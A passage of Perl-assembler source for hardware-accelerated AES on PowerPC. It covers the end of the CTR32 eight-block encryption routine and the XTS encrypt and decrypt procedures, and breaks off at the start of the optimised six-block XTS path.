vcipher $out4,$out4,v25
vcipher $out5,$out5,v25
vcipher $out6,$out6,v25
vcipher $out7,$out7,v25
lvx v25,$x10,$key_ # round[4]
bdnz Loop_ctr32_enc8x
subic r11,$len,256 # $len-256, borrow $key_
vcipher $out0,$out0,v24
vcipher $out1,$out1,v24
vcipher $out2,$out2,v24
vcipher $out3,$out3,v24
vcipher $out4,$out4,v24
vcipher $out5,$out5,v24
vcipher $out6,$out6,v24
vcipher $out7,$out7,v24
subfe r0,r0,r0 # borrow?-1:0
vcipher $out0,$out0,v25
vcipher $out1,$out1,v25
vcipher $out2,$out2,v25
vcipher $out3,$out3,v25
vcipher $out4,$out4,v25
vcipher $out5,$out5,v25
vcipher $out6,$out6,v25
vcipher $out7,$out7,v25
and r0,r0,r11
addi $key_,$sp,$FRAME+15 # rewind $key_
vcipher $out0,$out0,v26
vcipher $out1,$out1,v26
vcipher $out2,$out2,v26
vcipher $out3,$out3,v26
vcipher $out4,$out4,v26
vcipher $out5,$out5,v26
vcipher $out6,$out6,v26
vcipher $out7,$out7,v26
lvx v24,$x00,$key_ # re-pre-load round[1]
subic $len,$len,129 # $len-=129
vcipher $out0,$out0,v27
addi $len,$len,1 # $len-=128 really
vcipher $out1,$out1,v27
vcipher $out2,$out2,v27
vcipher $out3,$out3,v27
vcipher $out4,$out4,v27
vcipher $out5,$out5,v27
vcipher $out6,$out6,v27
vcipher $out7,$out7,v27
lvx v25,$x10,$key_ # re-pre-load round[2]
vcipher $out0,$out0,v28
lvx_u $in0,$x00,$inp # load input
vcipher $out1,$out1,v28
lvx_u $in1,$x10,$inp
vcipher $out2,$out2,v28
lvx_u $in2,$x20,$inp
vcipher $out3,$out3,v28
lvx_u $in3,$x30,$inp
vcipher $out4,$out4,v28
lvx_u $in4,$x40,$inp
vcipher $out5,$out5,v28
lvx_u $in5,$x50,$inp
vcipher $out6,$out6,v28
lvx_u $in6,$x60,$inp
vcipher $out7,$out7,v28
lvx_u $in7,$x70,$inp
addi $inp,$inp,0x80
vcipher $out0,$out0,v29
le?vperm $in0,$in0,$in0,$inpperm
vcipher $out1,$out1,v29
le?vperm $in1,$in1,$in1,$inpperm
vcipher $out2,$out2,v29
le?vperm $in2,$in2,$in2,$inpperm
vcipher $out3,$out3,v29
le?vperm $in3,$in3,$in3,$inpperm
vcipher $out4,$out4,v29
le?vperm $in4,$in4,$in4,$inpperm
vcipher $out5,$out5,v29
le?vperm $in5,$in5,$in5,$inpperm
vcipher $out6,$out6,v29
le?vperm $in6,$in6,$in6,$inpperm
vcipher $out7,$out7,v29
le?vperm $in7,$in7,$in7,$inpperm
add $inp,$inp,r0 # $inp is adjusted in such
# way that at exit from the
# loop inX-in7 are loaded
# with last "words"
subfe. r0,r0,r0 # borrow?-1:0
vcipher $out0,$out0,v30
vxor $in0,$in0,v31 # xor with last round key
vcipher $out1,$out1,v30
vxor $in1,$in1,v31
vcipher $out2,$out2,v30
vxor $in2,$in2,v31
vcipher $out3,$out3,v30
vxor $in3,$in3,v31
vcipher $out4,$out4,v30
vxor $in4,$in4,v31
vcipher $out5,$out5,v30
vxor $in5,$in5,v31
vcipher $out6,$out6,v30
vxor $in6,$in6,v31
vcipher $out7,$out7,v30
vxor $in7,$in7,v31
bne Lctr32_enc8x_break # did $len-129 borrow?
vcipherlast $in0,$out0,$in0
vcipherlast $in1,$out1,$in1
vadduqm $out1,$ivec,$one # counter values ...
vcipherlast $in2,$out2,$in2
vadduqm $out2,$ivec,$two
vxor $out0,$ivec,$rndkey0 # ... xored with rndkey[0]
vcipherlast $in3,$out3,$in3
vadduqm $out3,$out1,$two
vxor $out1,$out1,$rndkey0
vcipherlast $in4,$out4,$in4
vadduqm $out4,$out2,$two
vxor $out2,$out2,$rndkey0
vcipherlast $in5,$out5,$in5
vadduqm $out5,$out3,$two
vxor $out3,$out3,$rndkey0
vcipherlast $in6,$out6,$in6
vadduqm $out6,$out4,$two
vxor $out4,$out4,$rndkey0
vcipherlast $in7,$out7,$in7
vadduqm $out7,$out5,$two
vxor $out5,$out5,$rndkey0
le?vperm $in0,$in0,$in0,$inpperm
vadduqm $ivec,$out6,$two # next counter value
vxor $out6,$out6,$rndkey0
le?vperm $in1,$in1,$in1,$inpperm
vxor $out7,$out7,$rndkey0
mtctr $rounds
vcipher $out0,$out0,v24
stvx_u $in0,$x00,$out
le?vperm $in2,$in2,$in2,$inpperm
vcipher $out1,$out1,v24
stvx_u $in1,$x10,$out
le?vperm $in3,$in3,$in3,$inpperm
vcipher $out2,$out2,v24
stvx_u $in2,$x20,$out
le?vperm $in4,$in4,$in4,$inpperm
vcipher $out3,$out3,v24
stvx_u $in3,$x30,$out
le?vperm $in5,$in5,$in5,$inpperm
vcipher $out4,$out4,v24
stvx_u $in4,$x40,$out
le?vperm $in6,$in6,$in6,$inpperm
vcipher $out5,$out5,v24
stvx_u $in5,$x50,$out
le?vperm $in7,$in7,$in7,$inpperm
vcipher $out6,$out6,v24
stvx_u $in6,$x60,$out
vcipher $out7,$out7,v24
stvx_u $in7,$x70,$out
addi $out,$out,0x80
b Loop_ctr32_enc8x_middle
.align 5
Lctr32_enc8x_break:
cmpwi $len,-0x60
blt Lctr32_enc8x_one
nop
beq Lctr32_enc8x_two
cmpwi $len,-0x40
blt Lctr32_enc8x_three
nop
beq Lctr32_enc8x_four
cmpwi $len,-0x20
blt Lctr32_enc8x_five
nop
beq Lctr32_enc8x_six
cmpwi $len,0x00
blt Lctr32_enc8x_seven
Lctr32_enc8x_eight:
vcipherlast $out0,$out0,$in0
vcipherlast $out1,$out1,$in1
vcipherlast $out2,$out2,$in2
vcipherlast $out3,$out3,$in3
vcipherlast $out4,$out4,$in4
vcipherlast $out5,$out5,$in5
vcipherlast $out6,$out6,$in6
vcipherlast $out7,$out7,$in7
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x20,$out
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x30,$out
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x40,$out
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x50,$out
le?vperm $out7,$out7,$out7,$inpperm
stvx_u $out6,$x60,$out
stvx_u $out7,$x70,$out
addi $out,$out,0x80
b Lctr32_enc8x_done
.align 5
Lctr32_enc8x_seven:
vcipherlast $out0,$out0,$in1
vcipherlast $out1,$out1,$in2
vcipherlast $out2,$out2,$in3
vcipherlast $out3,$out3,$in4
vcipherlast $out4,$out4,$in5
vcipherlast $out5,$out5,$in6
vcipherlast $out6,$out6,$in7
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x20,$out
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x30,$out
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x40,$out
le?vperm $out6,$out6,$out6,$inpperm
stvx_u $out5,$x50,$out
stvx_u $out6,$x60,$out
addi $out,$out,0x70
b Lctr32_enc8x_done
.align 5
Lctr32_enc8x_six:
vcipherlast $out0,$out0,$in2
vcipherlast $out1,$out1,$in3
vcipherlast $out2,$out2,$in4
vcipherlast $out3,$out3,$in5
vcipherlast $out4,$out4,$in6
vcipherlast $out5,$out5,$in7
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x20,$out
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x30,$out
le?vperm $out5,$out5,$out5,$inpperm
stvx_u $out4,$x40,$out
stvx_u $out5,$x50,$out
addi $out,$out,0x60
b Lctr32_enc8x_done
.align 5
Lctr32_enc8x_five:
vcipherlast $out0,$out0,$in3
vcipherlast $out1,$out1,$in4
vcipherlast $out2,$out2,$in5
vcipherlast $out3,$out3,$in6
vcipherlast $out4,$out4,$in7
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x20,$out
le?vperm $out4,$out4,$out4,$inpperm
stvx_u $out3,$x30,$out
stvx_u $out4,$x40,$out
addi $out,$out,0x50
b Lctr32_enc8x_done
.align 5
Lctr32_enc8x_four:
vcipherlast $out0,$out0,$in4
vcipherlast $out1,$out1,$in5
vcipherlast $out2,$out2,$in6
vcipherlast $out3,$out3,$in7
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$inpperm
stvx_u $out2,$x20,$out
stvx_u $out3,$x30,$out
addi $out,$out,0x40
b Lctr32_enc8x_done
.align 5
Lctr32_enc8x_three:
vcipherlast $out0,$out0,$in5
vcipherlast $out1,$out1,$in6
vcipherlast $out2,$out2,$in7
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
le?vperm $out2,$out2,$out2,$inpperm
stvx_u $out1,$x10,$out
stvx_u $out2,$x20,$out
addi $out,$out,0x30
b Lcbc_dec8x_done
.align 5
Lctr32_enc8x_two:
vcipherlast $out0,$out0,$in6
vcipherlast $out1,$out1,$in7
le?vperm $out0,$out0,$out0,$inpperm
le?vperm $out1,$out1,$out1,$inpperm
stvx_u $out0,$x00,$out
stvx_u $out1,$x10,$out
addi $out,$out,0x20
b Lcbc_dec8x_done
.align 5
Lctr32_enc8x_one:
vcipherlast $out0,$out0,$in7
le?vperm $out0,$out0,$out0,$inpperm
stvx_u $out0,0,$out
addi $out,$out,0x10
Lctr32_enc8x_done:
li r10,`$FRAME+15`
li r11,`$FRAME+31`
stvx $inpperm,r10,$sp # wipe copies of round keys
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
stvx $inpperm,r10,$sp
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
stvx $inpperm,r10,$sp
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
stvx $inpperm,r10,$sp
addi r10,r10,32
stvx $inpperm,r11,$sp
addi r11,r11,32
mtspr 256,$vrsave
lvx v20,r10,$sp # ABI says so
addi r10,r10,32
lvx v21,r11,$sp
addi r11,r11,32
lvx v22,r10,$sp
addi r10,r10,32
lvx v23,r11,$sp
addi r11,r11,32
lvx v24,r10,$sp
addi r10,r10,32
lvx v25,r11,$sp
addi r11,r11,32
lvx v26,r10,$sp
addi r10,r10,32
lvx v27,r11,$sp
addi r11,r11,32
lvx v28,r10,$sp
addi r10,r10,32
lvx v29,r11,$sp
addi r11,r11,32
lvx v30,r10,$sp
lvx v31,r11,$sp
$POP r26,`$FRAME+21*16+0*$SIZE_T`($sp)
$POP r27,`$FRAME+21*16+1*$SIZE_T`($sp)
$POP r28,`$FRAME+21*16+2*$SIZE_T`($sp)
$POP r29,`$FRAME+21*16+3*$SIZE_T`($sp)
$POP r30,`$FRAME+21*16+4*$SIZE_T`($sp)
$POP r31,`$FRAME+21*16+5*$SIZE_T`($sp)
addi $sp,$sp,`$FRAME+21*16+6*$SIZE_T`
blr
.long 0
.byte 0,12,0x14,0,0x80,6,6,0
.long 0
.size .${prefix}_ctr32_encrypt_blocks,.-.${prefix}_ctr32_encrypt_blocks
___
}} }}}
#########################################################################
{{{ # XTS procedures #
# int aes_p8_xts_[en|de]crypt(const char *inp, char *out, size_t len, #
# const AES_KEY *key1, const AES_KEY *key2, #
# [const] unsigned char iv[16]); #
# If $key2 is NULL, then a "tweak chaining" mode is engaged, in which #
# input tweak value is assumed to be encrypted already, and last tweak #
# value, one suitable for consecutive call on same chunk of data, is #
# written back to original buffer. In addition, in "tweak chaining" #
# mode only complete input blocks are processed. #
my ($inp,$out,$len,$key1,$key2,$ivp,$rounds,$idx) = map("r$_",(3..10));
my ($rndkey0,$rndkey1,$inout) = map("v$_",(0..2));
my ($output,$inptail,$inpperm,$leperm,$keyperm) = map("v$_",(3..7));
my ($tweak,$seven,$eighty7,$tmp,$tweak1) = map("v$_",(8..12));
my $taillen = $key2;
($inp,$idx) = ($idx,$inp); # reassign
$code.=<<___;
.globl .${prefix}_xts_encrypt
mr $inp,r3 # reassign
li r3,-1
${UCMP}i $len,16
bltlr-
lis r0,0xfff0
mfspr r12,256 # save vrsave
li r11,0
mtspr 256,r0
vspltisb $seven,0x07 # 0x070707..07
le?lvsl $leperm,r11,r11
le?vspltisb $tmp,0x0f
le?vxor $leperm,$leperm,$seven
li $idx,15
lvx $tweak,0,$ivp # load [unaligned] iv
lvsl $inpperm,0,$ivp
lvx $inptail,$idx,$ivp
le?vxor $inpperm,$inpperm,$tmp
vperm $tweak,$tweak,$inptail,$inpperm
neg r11,$inp
lvsr $inpperm,0,r11 # prepare for unaligned load
lvx $inout,0,$inp
addi $inp,$inp,15 # 15 is not typo
le?vxor $inpperm,$inpperm,$tmp
${UCMP}i $key2,0 # key2==NULL?
beq Lxts_enc_no_key2
?lvsl $keyperm,0,$key2 # prepare for unaligned key
lwz $rounds,240($key2)
srwi $rounds,$rounds,1
subi $rounds,$rounds,1
li $idx,16
lvx $rndkey0,0,$key2
lvx $rndkey1,$idx,$key2
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $tweak,$tweak,$rndkey0
lvx $rndkey0,$idx,$key2
addi $idx,$idx,16
mtctr $rounds
Ltweak_xts_enc:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $tweak,$tweak,$rndkey1
lvx $rndkey1,$idx,$key2
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipher $tweak,$tweak,$rndkey0
lvx $rndkey0,$idx,$key2
addi $idx,$idx,16
bdnz Ltweak_xts_enc
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $tweak,$tweak,$rndkey1
lvx $rndkey1,$idx,$key2
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipherlast $tweak,$tweak,$rndkey0
li $ivp,0 # don't chain the tweak
b Lxts_enc
Lxts_enc_no_key2:
li $idx,-16
and $len,$len,$idx # in "tweak chaining"
# mode only complete
# blocks are processed
Lxts_enc:
lvx $inptail,0,$inp
addi $inp,$inp,16
?lvsl $keyperm,0,$key1 # prepare for unaligned key
lwz $rounds,240($key1)
srwi $rounds,$rounds,1
subi $rounds,$rounds,1
li $idx,16
vslb $eighty7,$seven,$seven # 0x808080..80
vor $eighty7,$eighty7,$seven # 0x878787..87
vspltisb $tmp,1 # 0x010101..01
vsldoi $eighty7,$eighty7,$tmp,15 # 0x870101..01
${UCMP}i $len,96
bge _aesp8_xts_encrypt6x
andi. $taillen,$len,15
subic r0,$len,32
subi $taillen,$taillen,16
subfe r0,r0,r0
and r0,r0,$taillen
add $inp,$inp,r0
lvx $rndkey0,0,$key1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
vperm $inout,$inout,$inptail,$inpperm
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $inout,$inout,$tweak
vxor $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
mtctr $rounds
b Loop_xts_enc
.align 5
Loop_xts_enc:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipher $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
bdnz Loop_xts_enc
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key1
li $idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $rndkey0,$rndkey0,$tweak
vcipherlast $output,$inout,$rndkey0
le?vperm $tmp,$output,$output,$leperm
be?nop
le?stvx_u $tmp,0,$out
be?stvx_u $output,0,$out
addi $out,$out,16
subic. $len,$len,16
beq Lxts_enc_done
vmr $inout,$inptail
lvx $inptail,0,$inp
addi $inp,$inp,16
lvx $rndkey0,0,$key1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
subic r0,$len,32
subfe r0,r0,r0
and r0,r0,$taillen
add $inp,$inp,r0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vand $tmp,$tmp,$eighty7
vxor $tweak,$tweak,$tmp
vperm $inout,$inout,$inptail,$inpperm
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $inout,$inout,$tweak
vxor $output,$output,$rndkey0 # just in case $len<16
vxor $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
mtctr $rounds
${UCMP}i $len,16
bge Loop_xts_enc
vxor $output,$output,$tweak
lvsr $inpperm,0,$len # $inpperm is no longer needed
vxor $inptail,$inptail,$inptail # $inptail is no longer needed
vspltisb $tmp,-1
vperm $inptail,$inptail,$tmp,$inpperm
vsel $inout,$inout,$output,$inptail
subi r11,$out,17
subi $out,$out,16
mtctr $len
li $len,16
Loop_xts_enc_steal:
lbzu r0,1(r11)
stb r0,16(r11)
bdnz Loop_xts_enc_steal
mtctr $rounds
b Loop_xts_enc # one more time...
Lxts_enc_done:
${UCMP}i $ivp,0
beq Lxts_enc_ret
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vand $tmp,$tmp,$eighty7
vxor $tweak,$tweak,$tmp
le?vperm $tweak,$tweak,$tweak,$leperm
stvx_u $tweak,0,$ivp
Lxts_enc_ret:
mtspr 256,r12 # restore vrsave
li r3,0
blr
.long 0
.byte 0,12,0x04,0,0x80,6,6,0
.long 0
.size .${prefix}_xts_encrypt,.-.${prefix}_xts_encrypt
.globl .${prefix}_xts_decrypt
mr $inp,r3 # reassign
li r3,-1
${UCMP}i $len,16
bltlr-
lis r0,0xfff8
mfspr r12,256 # save vrsave
li r11,0
mtspr 256,r0
andi. r0,$len,15
neg r0,r0
andi. r0,r0,16
sub $len,$len,r0
vspltisb $seven,0x07 # 0x070707..07
le?lvsl $leperm,r11,r11
le?vspltisb $tmp,0x0f
le?vxor $leperm,$leperm,$seven
li $idx,15
lvx $tweak,0,$ivp # load [unaligned] iv
lvsl $inpperm,0,$ivp
lvx $inptail,$idx,$ivp
le?vxor $inpperm,$inpperm,$tmp
vperm $tweak,$tweak,$inptail,$inpperm
neg r11,$inp
lvsr $inpperm,0,r11 # prepare for unaligned load
lvx $inout,0,$inp
addi $inp,$inp,15 # 15 is not typo
le?vxor $inpperm,$inpperm,$tmp
${UCMP}i $key2,0 # key2==NULL?
beq Lxts_dec_no_key2
?lvsl $keyperm,0,$key2 # prepare for unaligned key
lwz $rounds,240($key2)
srwi $rounds,$rounds,1
subi $rounds,$rounds,1
li $idx,16
lvx $rndkey0,0,$key2
lvx $rndkey1,$idx,$key2
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $tweak,$tweak,$rndkey0
lvx $rndkey0,$idx,$key2
addi $idx,$idx,16
mtctr $rounds
Ltweak_xts_dec:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $tweak,$tweak,$rndkey1
lvx $rndkey1,$idx,$key2
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipher $tweak,$tweak,$rndkey0
lvx $rndkey0,$idx,$key2
addi $idx,$idx,16
bdnz Ltweak_xts_dec
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vcipher $tweak,$tweak,$rndkey1
lvx $rndkey1,$idx,$key2
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vcipherlast $tweak,$tweak,$rndkey0
li $ivp,0 # don't chain the tweak
b Lxts_dec
Lxts_dec_no_key2:
neg $idx,$len
andi. $idx,$idx,15
add $len,$len,$idx # in "tweak chaining"
# mode only complete
# blocks are processed
Lxts_dec:
lvx $inptail,0,$inp
addi $inp,$inp,16
?lvsl $keyperm,0,$key1 # prepare for unaligned key
lwz $rounds,240($key1)
srwi $rounds,$rounds,1
subi $rounds,$rounds,1
li $idx,16
vslb $eighty7,$seven,$seven # 0x808080..80
vor $eighty7,$eighty7,$seven # 0x878787..87
vspltisb $tmp,1 # 0x010101..01
vsldoi $eighty7,$eighty7,$tmp,15 # 0x870101..01
${UCMP}i $len,96
bge _aesp8_xts_decrypt6x
lvx $rndkey0,0,$key1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
vperm $inout,$inout,$inptail,$inpperm
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $inout,$inout,$tweak
vxor $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
mtctr $rounds
${UCMP}i $len,16
blt Ltail_xts_dec
be?b Loop_xts_dec
.align 5
Loop_xts_dec:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vncipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vncipher $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
bdnz Loop_xts_dec
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vncipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key1
li $idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $rndkey0,$rndkey0,$tweak
vncipherlast $output,$inout,$rndkey0
le?vperm $tmp,$output,$output,$leperm
be?nop
le?stvx_u $tmp,0,$out
be?stvx_u $output,0,$out
addi $out,$out,16
subic. $len,$len,16
beq Lxts_dec_done
vmr $inout,$inptail
lvx $inptail,0,$inp
addi $inp,$inp,16
lvx $rndkey0,0,$key1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vand $tmp,$tmp,$eighty7
vxor $tweak,$tweak,$tmp
vperm $inout,$inout,$inptail,$inpperm
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $inout,$inout,$tweak
vxor $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
mtctr $rounds
${UCMP}i $len,16
bge Loop_xts_dec
Ltail_xts_dec:
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak1,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vand $tmp,$tmp,$eighty7
vxor $tweak1,$tweak1,$tmp
subi $inp,$inp,16
add $inp,$inp,$len
vxor $inout,$inout,$tweak # :-(
vxor $inout,$inout,$tweak1 # :-)
Loop_xts_dec_short:
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vncipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vncipher $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
bdnz Loop_xts_dec_short
?vperm $rndkey1,$rndkey1,$rndkey0,$keyperm
vncipher $inout,$inout,$rndkey1
lvx $rndkey1,$idx,$key1
li $idx,16
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
vxor $rndkey0,$rndkey0,$tweak1
vncipherlast $output,$inout,$rndkey0
le?vperm $tmp,$output,$output,$leperm
be?nop
le?stvx_u $tmp,0,$out
be?stvx_u $output,0,$out
vmr $inout,$inptail
lvx $inptail,0,$inp
#addi $inp,$inp,16
lvx $rndkey0,0,$key1
lvx $rndkey1,$idx,$key1
addi $idx,$idx,16
vperm $inout,$inout,$inptail,$inpperm
?vperm $rndkey0,$rndkey0,$rndkey1,$keyperm
lvsr $inpperm,0,$len # $inpperm is no longer needed
vxor $inptail,$inptail,$inptail # $inptail is no longer needed
vspltisb $tmp,-1
vperm $inptail,$inptail,$tmp,$inpperm
vsel $inout,$inout,$output,$inptail
vxor $rndkey0,$rndkey0,$tweak
vxor $inout,$inout,$rndkey0
lvx $rndkey0,$idx,$key1
addi $idx,$idx,16
subi r11,$out,1
mtctr $len
li $len,16
Loop_xts_dec_steal:
lbzu r0,1(r11)
stb r0,16(r11)
bdnz Loop_xts_dec_steal
mtctr $rounds
b Loop_xts_dec # one more time...
Lxts_dec_done:
${UCMP}i $ivp,0
beq Lxts_dec_ret
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vand $tmp,$tmp,$eighty7
vxor $tweak,$tweak,$tmp
le?vperm $tweak,$tweak,$tweak,$leperm
stvx_u $tweak,0,$ivp
Lxts_dec_ret:
mtspr 256,r12 # restore vrsave
li r3,0
blr
.long 0
.byte 0,12,0x04,0,0x80,6,6,0
.long 0
.size .${prefix}_xts_decrypt,.-.${prefix}_xts_decrypt
___
#########################################################################
{{ # Optimized XTS procedures #
my $key_=$key2;
my ($x00,$x10,$x20,$x30,$x40,$x50,$x60,$x70)=map("r$_",(0,3,26..31));
$x00=0 if ($flavour =~ /osx/);
my ($in0, $in1, $in2, $in3, $in4, $in5 )=map("v$_",(0..5));
my ($out0, $out1, $out2, $out3, $out4, $out5)=map("v$_",(7,12..16));
my ($twk0, $twk1, $twk2, $twk3, $twk4, $twk5)=map("v$_",(17..22));
my $rndkey0="v23"; # v24-v25 rotating buffer for first found keys
# v26-v31 last 6 round keys
my ($keyperm)=($out0); # aliases with "caller", redundant assignment
my $taillen=$x70;
$code.=<<___;
.align 5
_aesp8_xts_encrypt6x:
$STU $sp,-`($FRAME+21*16+6*$SIZE_T)`($sp)
mflr r11
li r7,`$FRAME+8*16+15`
li r3,`$FRAME+8*16+31`
$PUSH r11,`$FRAME+21*16+6*$SIZE_T+$LRSAVE`($sp)
stvx v20,r7,$sp # ABI says so
addi r7,r7,32
stvx v21,r3,$sp
addi r3,r3,32
stvx v22,r7,$sp
addi r7,r7,32
stvx v23,r3,$sp
addi r3,r3,32
stvx v24,r7,$sp
addi r7,r7,32
stvx v25,r3,$sp
addi r3,r3,32
stvx v26,r7,$sp
addi r7,r7,32
stvx v27,r3,$sp
addi r3,r3,32
stvx v28,r7,$sp
addi r7,r7,32
stvx v29,r3,$sp
addi r3,r3,32
stvx v30,r7,$sp
stvx v31,r3,$sp
li r0,-1
stw $vrsave,`$FRAME+21*16-4`($sp) # save vrsave
li $x10,0x10
$PUSH r26,`$FRAME+21*16+0*$SIZE_T`($sp)
li $x20,0x20
$PUSH r27,`$FRAME+21*16+1*$SIZE_T`($sp)
li $x30,0x30
$PUSH r28,`$FRAME+21*16+2*$SIZE_T`($sp)
li $x40,0x40
$PUSH r29,`$FRAME+21*16+3*$SIZE_T`($sp)
li $x50,0x50
$PUSH r30,`$FRAME+21*16+4*$SIZE_T`($sp)
li $x60,0x60
$PUSH r31,`$FRAME+21*16+5*$SIZE_T`($sp)
li $x70,0x70
mtspr 256,r0
subi $rounds,$rounds,3 # -4 in total
lvx $rndkey0,$x00,$key1 # load key schedule
lvx v30,$x10,$key1
addi $key1,$key1,0x20
lvx v31,$x00,$key1
?vperm $rndkey0,$rndkey0,v30,$keyperm
addi $key_,$sp,$FRAME+15
mtctr $rounds
Load_xts_enc_key:
?vperm v24,v30,v31,$keyperm
lvx v30,$x10,$key1
addi $key1,$key1,0x20
stvx v24,$x00,$key_ # off-load round[1]
?vperm v25,v31,v30,$keyperm
lvx v31,$x00,$key1
stvx v25,$x10,$key_ # off-load round[2]
addi $key_,$key_,0x20
bdnz Load_xts_enc_key
lvx v26,$x10,$key1
?vperm v24,v30,v31,$keyperm
lvx v27,$x20,$key1
stvx v24,$x00,$key_ # off-load round[3]
?vperm v25,v31,v26,$keyperm
lvx v28,$x30,$key1
stvx v25,$x10,$key_ # off-load round[4]
addi $key_,$sp,$FRAME+15 # rewind $key_
?vperm v26,v26,v27,$keyperm
lvx v29,$x40,$key1
?vperm v27,v27,v28,$keyperm
lvx v30,$x50,$key1
?vperm v28,v28,v29,$keyperm
lvx v31,$x60,$key1
?vperm v29,v29,v30,$keyperm
lvx $twk5,$x70,$key1 # borrow $twk5
?vperm v30,v30,v31,$keyperm
lvx v24,$x00,$key_ # pre-load round[1]
?vperm v31,v31,$twk5,$keyperm
lvx v25,$x10,$key_ # pre-load round[2]
vperm $in0,$inout,$inptail,$inpperm
subi $inp,$inp,31 # undo "caller"
vxor $twk0,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vand $tmp,$tmp,$eighty7
vxor $out0,$in0,$twk0
vxor $tweak,$tweak,$tmp
lvx_u $in1,$x10,$inp
vxor $twk1,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in1,$in1,$in1,$leperm
vand $tmp,$tmp,$eighty7
